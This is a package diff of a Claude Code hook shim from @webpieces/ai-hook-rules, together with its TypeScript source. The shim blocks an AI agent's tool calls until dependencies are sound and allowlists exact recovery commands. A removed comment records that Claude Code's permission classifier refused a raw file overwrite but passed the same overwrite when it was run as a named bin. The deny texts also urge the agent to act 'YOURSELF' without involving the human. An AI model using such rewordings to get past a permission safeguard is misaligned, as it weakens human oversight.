contradict the guards.\n # It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard\n # is up — the ONE command redirect-how-to-merge-main blocks in every form. An AI that obeyed the\n # drift message got hard-blocked by the other guard with no path forward, which is how improvised\n # 'git reset --hard' workarounds get invented. (NOTE: the shim's SYNC allowlist does let merge\n # through here, because the guards are DOWN — that is exactly why the text must not recommend it.)\n #\n # State the two versions and let the reader judge which is stale — do NOT assert a direction. The\n # check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the\n # older side. When it is actually the NEWER side (a checkout behind origin), that text sent people\n # to 'pnpm install', which DOWNGRADES them further from correct.\n REASON=\"❌ webpieces version drift: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. ${new SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. Do not reach for git merge: this guard lets it through only because the guards are DOWN, and the moment they come back redirect-how-to-merge-main blocks it in every form. ${NO_CHAINING_RULE}\"\nelse\n # A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:\n # git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no\n # node_modules, so the very first tool call in a brand-new worktree fail-closes on a missing bin.\n # Naming that explicitly turns a baffling \"not installed\" into a one-command fix, and the HERE is\n # load-bearing: installing in the primary clone does nothing for this tree.\n WORKTREE_NOTE=\"\"\n if [ -f \"\\$ROOT/.git\" ]; then\n WORKTREE_NOTE=\" NOTE: \\$ROOT is a LINKED WORKTREE - git does not copy node_modules into a new worktree, so this is expected on a fresh one. Run 'pnpm install' HERE (in this worktree), not in the primary clone.\"\n fi\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). OPTION 1 - run EXACTLY this command to enable the webpieces AI guards, then retry: 'pnpm install'. ${NO_CHAINING_RULE}\\${WORKTREE_NOTE} (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit. This file is GENERATED from\n# renderShim() and is intentionally VERSION-AGNOSTIC and byte-STABLE across releases: it carries no\n# version stamp, so it only changes when its own logic changes. The installed guards binary is what\n# checks that this committed copy still matches renderShim() (the committed-shim self-guard); if you\n# revert or hand-edit this file the binary fails closed and names the cure. Checked in on purpose so\n# the hook has a stable entry point even when node_modules is absent. Safe to delete along with the\n# matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\n//\n// Exported for install-entry.ts: on a CORRUPT node_modules, healShim is the only installer step that\n// can still run, so the installer must be able to tell the human whether a committed shim was actually\n// there to re-arm. Pure existsSync walk — never throws, so it needs no try/catch of its own.\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the dependency-free shim module; it must not depend on DI (install-entry.ts relies on this loading on a corrupt tree).\nexport function findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n\n// ---------------------------------------------------------------------------\n// COMMITTED-SHIM SELF-GUARD — now enforced by the guards BINARY, not the shim (moved 2026-07-24).\n//\n// It used to live in the rendered shim (`cmp -s \"$0\" \"$WP_TEMPLATE\"` → fail closed). That was a\n// double-edged fix trap: the shim-matching logic lived IN the committed shim, so a bug in it could\n// only be fixed by regenerating the committed shim — which required passing the buggy shim's own gate\n// (via wp-upgrade-shim). The fix was locked behind the gate it needed to open.\n//\n// The drift guard MUST stay pre-binary (a stale validator can't be trusted to guard itself), but this\n// check's rationale — \"don't run possibly-stale shim logic\" — evaporates once the check is in the\n// binary: at that point the deciding code is the CURRENT binary from node_modules, not the reverted\n// shim. So the shim now only checks drift + bin-presence and always hands off; the binary (hook-core)\n// calls committedShimStale() and, on a mismatch, fails closed with shimStaleDenyReason() — the SAME\n// OPTION 1/2/3 message — while isShimCureCommand() lets the three cures through so the AI self-heals.\n// We deny + tell the AI; we do NOT silently rewrite the file under it. With the version stamp gone the\n// shim is byte-stable across releases, so this fires only on a genuine logic change or a real tamper.\n// ---------------------------------------------------------------------------\n\n// True when a committed shim EXISTS but no longer equals renderShim() (reverted, hand-edited, or a shim\n// whose LOGIC predates the installed binary). Missing shim → false: a fresh clone / global install has\n// nothing to guard, matching the old shim's `[ -f \"$WP_TEMPLATE\" ]` skip. Same comparison healShim\n// makes; never throws (an unreadable tree is treated as \"not stale\" so it can't wedge a tool call).\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the shim module, beside healShim/renderShim.\nexport function committedShimStale(cwd: string): boolean {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (root === null) return false;\n return fs.readFileSync(shimPath(root), 'utf8') !== renderShim();\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: an unreadable tree counts as \"not stale\" so this never wedges a tool call\n return false;\n }\n}\n\n// True when `command` is one of the three self-guard cures — the ONLY commands allowed through while a\n// stale committed shim blocks everything else, so the AI can re-arm it. Each JS twin already tolerates\n// a trailing `2>&1 | tail -N` and rejects any `&&`-chained tail (see CAPTURE_TAIL_JS_SRC).\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist twins; belongs beside them in the shim module.\nexport function isShimCureCommand(command: string): boolean {\n const cmd = command.trim();\n return INSTALL_HOOKS_ALLOW_JS.test(cmd) || UPGRADE_SHIM_ALLOW_JS.test(cmd) || RESTORE_SHIM_ALLOW_JS.test(cmd);\n}\n\n// The fail-closed deny text for a stale committed shim, built from the single-source cure constants +\n// NO_CHAINING_RULE. `installedVersion` names WHICH webpieces the cure re-arms to (the binary is that\n// version); pass '' to omit the note rather than print an empty one. CONSTRAINT: the returned string\n// must contain no `\"` and no `\\` — it is JSON-serialized by denyJson() (a stray quote/backslash would\n// corrupt the PreToolUse decision payload, not just the text). Locked by a unit test.\n// webpieces-disable no-function-outside-class -- pure string builder over exported constants; the single source of the self-guard deny text now that the sh copy is gone.\nexport function shimStaleDenyReason(installedVersion: string): string {\n const verNote = installedVersion ? ` (installed version ${installedVersion})` : '';\n return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred - present in every webpieces release, and it re-arms the shim before it loads anything else) - run EXACTLY this command: '${INSTALL_HOOKS_CMD}'. OPTION 2 (shim regen only; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${UPGRADE_SHIM_CMD}'. OPTION 3 (works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite - that prompt is NOT this guard) - run EXACTLY this command: '${RESTORE_SHIM_CMD}'. ${NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;\n}\n\n// The shape of the fields we read out of this package's package.json.\ninterface ShimPackageManifest {\n readonly version?: string;\n}\n\n// The installed @webpieces/ai-hook-rules version, for shimStaleDenyReason's note. The binary IS this\n// package, so it reads its OWN package.json (two dirs up from src/bin). Best-effort: '' on any failure,\n// which shimStaleDenyReason renders as no note rather than a broken one.\n// webpieces-disable no-function-outside-class -- pure fs helper beside the shim module's other version plumbing.\nexport function installedShimRulesVersion(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, '..', '..', 'package.json'), 'utf8')) as ShimPackageManifest;\n return pkg.version ?? '';\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no readable version → shimStaleDenyReason prints no note\n return '';\n }\n}\n"]}
|
package/templates/ai-hook.sh
CHANGED
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
#!/bin/sh
|
|
2
|
-
# webpieces
|
|
3
|
-
#
|
|
4
|
-
#
|
|
5
|
-
#
|
|
6
|
-
# the
|
|
2
|
+
# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit. This file is GENERATED from
|
|
3
|
+
# renderShim() and is intentionally VERSION-AGNOSTIC and byte-STABLE across releases: it carries no
|
|
4
|
+
# version stamp, so it only changes when its own logic changes. The installed guards binary is what
|
|
5
|
+
# checks that this committed copy still matches renderShim() (the committed-shim self-guard); if you
|
|
6
|
+
# revert or hand-edit this file the binary fails closed and names the cure. Checked in on purpose so
|
|
7
|
+
# the hook has a stable entry point even when node_modules is absent. Safe to delete along with the
|
|
8
|
+
# matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.
|
|
7
9
|
#
|
|
8
10
|
# Usage (wired into .claude/settings.json): sh "$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh" <bin-name>
|
|
9
11
|
BIN_NAME="$1"
|
|
@@ -75,31 +77,12 @@ if [ -f "$ROOT/package.json" ]; then
|
|
|
75
77
|
$(sed -n 's/.*"@webpieces\/\([A-Za-z0-9._-]*\)"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1 \2/p' "$ROOT/package.json")
|
|
76
78
|
WPEOF
|
|
77
79
|
fi
|
|
78
|
-
# --- webpieces committed-shim self-guard (this file is webpieces-managed; a revert/edit is a mistake) --
|
|
79
|
-
# THIS file (.claude/webpieces/ai-hook.sh) is GENERATED from the installed @webpieces/ai-hook-rules
|
|
80
|
-
# template and committed only so the hook has a stable entry point when node_modules is absent. If it no
|
|
81
|
-
# longer matches the installed template, someone reverted or hand-edited it (the exact mistake that hides
|
|
82
|
-
# the fix behind a stale escape hatch) — its fail-closed logic can no longer be trusted, so we fail closed
|
|
83
|
-
# and make the cure explicit rather than silently running possibly-stale guard logic. Best-effort: only
|
|
84
|
-
# when the template is actually present (skip on a fresh clone / global install), and only when there is
|
|
85
|
-
# NO version drift (that has its own, more precise message; comparing bytes across versions is just noise).
|
|
86
|
-
#
|
|
87
|
-
# SHIM_TPL_VER is the version of @webpieces/ai-hook-rules the template came from. It goes in the deny
|
|
88
|
-
# text so the reader knows WHICH version's shim the cure installs — without it the message named a file
|
|
89
|
-
# and a bin but never the thing being restored, which is what made it unactionable.
|
|
90
|
-
SHIM_STALE=""
|
|
91
|
-
SHIM_TPL_VER=""
|
|
92
|
-
WP_TEMPLATE="$ROOT/node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh"
|
|
93
|
-
if [ -z "$DRIFT_PKG" ] && [ -f "$WP_TEMPLATE" ] && ! cmp -s "$0" "$WP_TEMPLATE"; then
|
|
94
|
-
SHIM_STALE=1
|
|
95
|
-
SHIM_TPL_VER="$(sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$ROOT/node_modules/@webpieces/ai-hook-rules/package.json" 2>/dev/null | head -n1)"
|
|
96
|
-
fi
|
|
97
80
|
# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must
|
|
98
81
|
# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.
|
|
99
82
|
PAYLOAD="$(cat)"
|
|
100
83
|
BROKEN_BIN=""
|
|
101
84
|
CRASH_MSG=""
|
|
102
|
-
if [ -x "$BIN" ] && [ -z "$DRIFT_PKG" ]
|
|
85
|
+
if [ -x "$BIN" ] && [ -z "$DRIFT_PKG" ]; then
|
|
103
86
|
OUT_FILE="${TMPDIR:-/tmp}/wp-ai-hook-out.$$"
|
|
104
87
|
ERR_FILE="${TMPDIR:-/tmp}/wp-ai-hook-err.$$"
|
|
105
88
|
printf '%s' "$PAYLOAD" | "$BIN" "$@" >"$OUT_FILE" 2>"$ERR_FILE"
|
|
@@ -137,25 +120,11 @@ wp_log() { # $1 = decision label (ALLOW-INSTALL | DENY | DENY-
|
|
|
137
120
|
}
|
|
138
121
|
DENY_LABEL="DENY"
|
|
139
122
|
[ -n "$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
|
|
140
|
-
[ -n "$SHIM_STALE" ] && DENY_LABEL="DENY-SHIM-STALE" # committed shim reverted/edited (self-guard)
|
|
141
123
|
[ -n "$BROKEN_BIN" ] && DENY_LABEL="DENY-BROKEN" # bin present but CRASHED (corrupt node_modules)
|
|
142
124
|
if printf '%s' "$CMD" | grep -Eq '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$' || printf '%s' "$CMD" | grep -Eq '^rm[[:space:]]+-rf[[:space:]]+(\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
|
|
143
125
|
wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)
|
|
144
126
|
exit 0 # allow the installer/recovery so the assistant can break the deadlock
|
|
145
127
|
fi
|
|
146
|
-
# Always let the shim-regen cure through: wp-upgrade-shim rewrites the committed shim from the installed
|
|
147
|
-
# template, so it is the ONLY fix for a self-guard block — denying it would deadlock the assistant.
|
|
148
|
-
if printf '%s' "$CMD" | grep -Eq '^(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
|
|
149
|
-
wp_log ALLOW-UPGRADE-SHIM # record the shim regen we let through (re-arms the committed shim)
|
|
150
|
-
exit 0
|
|
151
|
-
fi
|
|
152
|
-
# Same cure, without the version coupling: copying templates/ai-hook.sh over the committed shim is what
|
|
153
|
-
# we now TELL the reader to run (the bin only exists in >= 0.4.408), so it must be allowed or the deny
|
|
154
|
-
# names a command it then blocks. Both paths are literal and webpieces-owned - nothing else can be hit.
|
|
155
|
-
if printf '%s' "$CMD" | grep -Eq '^cp[[:space:]]+(\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\.sh[[:space:]]+(\./)?\.claude/webpieces/ai-hook\.sh([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
|
|
156
|
-
wp_log ALLOW-RESTORE-SHIM # record the template copy we let through (re-arms the committed shim)
|
|
157
|
-
exit 0
|
|
158
|
-
fi
|
|
159
128
|
# DRIFT ONLY: let the git sync commands through. When the PIN is the stale side (a checkout behind
|
|
160
129
|
# origin), 'pnpm install' DOWNGRADES and 'git pull' is the only cure — denying it deadlocks the
|
|
161
130
|
# assistant against its own fix. Pointless for a missing/broken bin, so it stays gated on drift.
|
|
@@ -173,31 +142,7 @@ if [ -n "$BROKEN_BIN" ]; then
|
|
|
173
142
|
if [ "${STAGING_N:-0}" -gt 0 ] 2>/dev/null; then
|
|
174
143
|
STAGING_NOTE=" Also found $STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write."
|
|
175
144
|
fi
|
|
176
|
-
REASON="❌ webpieces guards are DOWN and every tool call is BLOCKED: ${BIN_NAME} is installed but CRASHED ($CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package.
|
|
177
|
-
elif [ -n "$SHIM_STALE" ]; then
|
|
178
|
-
# The committed shim differs from the installed template — reverted or hand-edited. State plainly that
|
|
179
|
-
# this file is webpieces-MANAGED so the reader does not "fix" it by reverting again, and name the ONE
|
|
180
|
-
# allowlisted command that re-arms it.
|
|
181
|
-
# DO NOT NAME THE cp HERE (reverted 2026-07-21, the same day it was added). The cp is version-agnostic,
|
|
182
|
-
# which is why it was promoted to the headline cure — but webpieces' allowlist is not the only gate in
|
|
183
|
-
# front of the assistant. Claude Code's own permission classifier sees a raw cp overwriting a file in
|
|
184
|
-
# the repo and denies it, so the deny named a command that a DIFFERENT gate then blocked, and the
|
|
185
|
-
# assistant read the second denial as proof the block was unfixable. Observed live: the classifier
|
|
186
|
-
# refused the cp repeatedly and let pnpm exec wp-upgrade-shim straight through, because a named bin
|
|
187
|
-
# reads as a tool invocation rather than an arbitrary file overwrite. So name ONLY the bin.
|
|
188
|
-
# The cost is legacy repos on < 0.4.408, where that bin does not exist; they stay bumpy until they
|
|
189
|
-
# upgrade once, and the message tells them so instead of pretending a cp will get through.
|
|
190
|
-
# (RESTORE_SHIM_ALLOW_ERE stays in the allowlist — a HUMAN running the cp must still work.)
|
|
191
|
-
#
|
|
192
|
-
# SAY THAT THE CURE IS ALLOWED THROUGH (2026-07-21, part 1): the text asserted a flat "every tool call
|
|
193
|
-
# is blocked" and then named a command to run — so the reader reasonably concluded the guard would
|
|
194
|
-
# block its own fix too, never tried it, and handed the "deadlock" to the human. The cure IS
|
|
195
|
-
# allowlisted (see RESTORE_SHIM_ALLOW_ERE / UPGRADE_SHIM_ALLOW_ERE above); the message just never said
|
|
196
|
-
# so. The drift branch below has always named its allowed cure in plain words and has never produced
|
|
197
|
-
# that failure — so state it here the same way.
|
|
198
|
-
SHIM_VER_NOTE=""
|
|
199
|
-
[ -n "$SHIM_TPL_VER" ] && SHIM_VER_NOTE=" (installed version $SHIM_TPL_VER)"
|
|
200
|
-
REASON="❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh template shipped inside the INSTALLED @webpieces/ai-hook-rules${SHIM_VER_NOTE} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. Run EXACTLY this to rewrite the shim from the installed webpieces${SHIM_VER_NOTE} template, then retry: pnpm exec wp-upgrade-shim - that is the whole fix. THIS IS NOT A DEADLOCK: it is explicitly ALLOWED through while this guard is up, so run it YOURSELF now - do not hand it back to the human. (Command not found? Your installed @webpieces/ai-hook-rules predates 0.4.408, which is older than this guard's cure - ask the human to restore the shim or upgrade webpieces. Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.)"
|
|
145
|
+
REASON="❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: ${BIN_NAME} is installed but CRASHED ($CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: 'rm -rf node_modules && pnpm install'. Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. Seriously: do NOT append && anything (not even a harmless && git status), do NOT put a cd in front of it, do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. The ONLY additions that are tolerated are a trailing 2>&1 or a pipe into tail/head (e.g. 2>&1 | tail -20).${STAGING_NOTE}"
|
|
201
146
|
elif [ -n "$DRIFT_PKG" ]; then
|
|
202
147
|
# The 'how do I get current' half comes from SyncFlowGuidance so it cannot contradict the guards.
|
|
203
148
|
# It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard
|
|
@@ -210,7 +155,7 @@ elif [ -n "$DRIFT_PKG" ]; then
|
|
|
210
155
|
# check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the
|
|
211
156
|
# older side. When it is actually the NEWER side (a checkout behind origin), that text sent people
|
|
212
157
|
# to 'pnpm install', which DOWNGRADES them further from correct.
|
|
213
|
-
REASON="❌ webpieces version drift: package.json pins $DRIFT_PKG@$DRIFT_DECLARED but node_modules has $DRIFT_INSTALLED. Every call is blocked until they agree. WHICH ONE IS STALE decides
|
|
158
|
+
REASON="❌ webpieces version drift: package.json pins $DRIFT_PKG@$DRIFT_DECLARED but node_modules has $DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. To get main itself current: ON main, run 'git pull origin main'. In a linked worktree (main is checked out in the primary clone, so checkout main fatals there), run 'git fetch origin main' and branch off origin/main. Do NOT reach for git merge --ff-only / git reset --hard / git checkout -B main: merge and rebase are blocked in EVERY form by redirect-how-to-merge-main, and the reset/-B forms silently throw away commits. To sync a FEATURE branch from main use pnpm wp-start-update (no PR open) or pnpm wp-start-upsert-pr (a PR is open). git pull and git fetch are allowed while this guard is up and are the cure here. Do not reach for git merge: this guard lets it through only because the guards are DOWN, and the moment they come back redirect-how-to-merge-main blocks it in every form. Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. Seriously: do NOT append && anything (not even a harmless && git status), do NOT put a cd in front of it, do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. The ONLY additions that are tolerated are a trailing 2>&1 or a pipe into tail/head (e.g. 2>&1 | tail -20)."
|
|
214
159
|
else
|
|
215
160
|
# A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:
|
|
216
161
|
# git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no
|
|
@@ -221,7 +166,7 @@ else
|
|
|
221
166
|
if [ -f "$ROOT/.git" ]; then
|
|
222
167
|
WORKTREE_NOTE=" NOTE: $ROOT is a LINKED WORKTREE - git does not copy node_modules into a new worktree, so this is expected on a fresh one. Run 'pnpm install' HERE (in this worktree), not in the primary clone."
|
|
223
168
|
fi
|
|
224
|
-
REASON="❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (${BIN_NAME} not found).
|
|
169
|
+
REASON="❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (${BIN_NAME} not found). OPTION 1 - run EXACTLY this command to enable the webpieces AI guards, then retry: 'pnpm install'. Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. Seriously: do NOT append && anything (not even a harmless && git status), do NOT put a cd in front of it, do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. The ONLY additions that are tolerated are a trailing 2>&1 or a pipe into tail/head (e.g. 2>&1 | tail -20).${WORKTREE_NOTE} (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)"
|
|
225
170
|
fi
|
|
226
171
|
if [ "$TOOL" = "Bash" ]; then
|
|
227
172
|
BS='\' # one literal backslash, so the \u001b escape never sits in this source
|